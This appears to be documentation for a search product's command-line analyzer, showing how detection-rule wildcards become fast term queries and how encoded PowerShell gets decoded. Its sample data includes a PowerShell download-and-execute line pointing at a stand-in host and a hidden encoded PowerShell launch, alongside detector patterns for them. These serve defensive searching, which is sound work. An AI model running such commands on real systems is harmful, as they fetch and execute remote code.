For AI agents: this page is also available as Markdown at /docs/command-line-search.md. Every docs page is: add .md to its URL. llms.txt lists them all.

Command lines

Detection rules are usually written as substring wildcards over a whole command line: CommandLine:*powershell*, *\install_update.bat, * -enc *. On a search index, a leading wildcard reads the whole term dictionary of the field, which is slow and can hit the query's term budget. The cmdline analyzer splits command lines, executable paths, URLs, UNC paths and registry keys into their words and switches, so the same rules become fast term, prefix and phrase lookups: the rule asks whether the command line has a word, not whether it contains some characters.

{"fields": {"CommandLine": {"type": "text", "analyzer": "cmdline"}}}

C:\Windows\System32\cmd.exe /c install_update.bat is indexed as c, windows, system32, cmd, exe, c, install_update, bat.

How values are split

Detector patterns as queries

With these sample documents:

[
  {"id": "p1", "CommandLine": "C:\\Windows\\System32\\cmd.exe /c C:\\Users\\Public\\install_update.bat"},
  {"id": "p2", "CommandLine": "PowerShell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA=="},
  {"id": "p3", "CommandLine": "powershell.exe -c IEX (New-Object System.Net.WebClient).DownloadString('http://example.test/p.ps1')"},
  {"id": "p4", "CommandLine": "C:\\Program Files\\Updater\\updater.exe --check-updates"},
  {"id": "p5", "CommandLine": "net use \\\\fileserver\\share$ /user:CORP\\svc_backup"}
]
Detector pattern Query (Lucene syntax) Matches
*powershell* CommandLine:powershell p2, p3
*\install_update.bat CommandLine:"install_update bat" p1
*system.net.webclient* CommandLine:"system net webclient" p3
*downloadstring(* CommandLine:downloadstring p3
* -enc *, *-EncodedCommand* CommandLine:enc, CommandLine:encodedcommand p2
* -w hidden * CommandLine:"-w hidden" p2
-enc JAB* (Base64 of UTF-16 $) CommandLine:jab* p2
*\\fileserver\share* CommandLine:"fileserver share" p5
cmd.exe /c * CommandLine:"cmd exe c" p1
*updater*--check-updates* CommandLine:updater AND CommandLine:"--check-updates" p4
curl -X POST https://api.warpsearch.io/v1/collections/processes/search \
  -H "Authorization: Bearer $WARPSEARCH_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"query": "CommandLine:powershell AND CommandLine:enc", "fields": ["id"]}'

Matching is at word boundaries, which changes what some rules mean:

When the exact characters matter, including punctuation, or the value is longer than 255 bytes, use Substring search. For fast *.exe-style suffixes on whole values, use Suffix search.

Case

cmdline lowercases words. lowercase is a normalizing filter, so prefix, wildcard, regex and fuzzy terms are lowercased the same way: CommandLine:POWERSHELL, CommandLine:POWERSH* and CommandLine:powersh* are the same query, with no case-insensitive flag, and capitalization does not count as fuzzy edits. Detectors written with any capitalization work unchanged.

To keep case, use cmdline_exact, which splits the same way without lowercasing. Folding at index time cannot be undone at query time, so keep a cmdline_exact variant if some investigations need exact case:

{"fields": {"CommandLine": {"type": "text", "analyzer": "cmdline",
                            "variants": {"cs": {"type": "text", "analyzer": "cmdline_exact"}}}}}

CommandLine__cs:PowerShell then matches only that capitalization.

Decode PowerShell -EncodedCommand

Attackers hide commands in PowerShell's -EncodedCommand argument, Base64 of UTF-16 text. The cmdline_base64 filter recognizes Base64 words and decodes them, so the hidden command's words become searchable. It is not part of the cmdline preset; add it in your own chain, before lowercase, because Base64 is case sensitive:

{
  "fields": {
    "CommandLine": {
      "type": "text",
      "analyzer": {"tokenizer": "cmdline", "filters": ["cmdline_base64", "lowercase"]}
    }
  }
}

For powershell.exe -EncodedCommand JABjAG0AZAAgAD0AIAAxAA==, which encodes $cmd = 1, the field keeps the encoded word and adds:

So CommandLine:encodedcommand AND CommandLine:cmd and CommandLine:"cmd 1" match. To find the markers themselves, use a term query, which is not split at the colon:

{"language": "es", "query": {"term": {"CommandLine": "b64:utf16"}}}
Param Default Meaning
min_length 16 Shortest word, in bytes, treated as Base64 (4 to 255).
decode true false adds only b64:blob, without decoding.

Notes:

Components

Name Kind Does
cmdline analyzer cmdline tokenizer, lowercase.
cmdline_exact analyzer cmdline tokenizer alone, case preserved.
cmdline tokenizer Splits as described above.
cmdline_base64 filter Marks and decodes Base64 words.

cmdline tokenizer params:

Param Default Meaning
keep_delimiters [] One-character strings not to split on. ["."] keeps system.net.webclient and cmd.exe whole.
split_on_dash false true makes - a delimiter, and drops the second form of switches.
min_length 1 Drop shorter words, in bytes.
max_length 255 Chunk size for long runs, in bytes (1 to 255).

For case-insensitive whole identifiers, such as host or account names, a string field with a normalizer is enough: with "normalizer": ["nfkc_cf"], BUILD-AGENT-07 matches asset:build*.

View this page as Markdown

Cookie settings

Optional tracking stays off until you choose it. Your choice applies to this browser for 180 days. Read the details.

Essential storage keeps you signed in, protects forms, and remembers this choice. It is always available.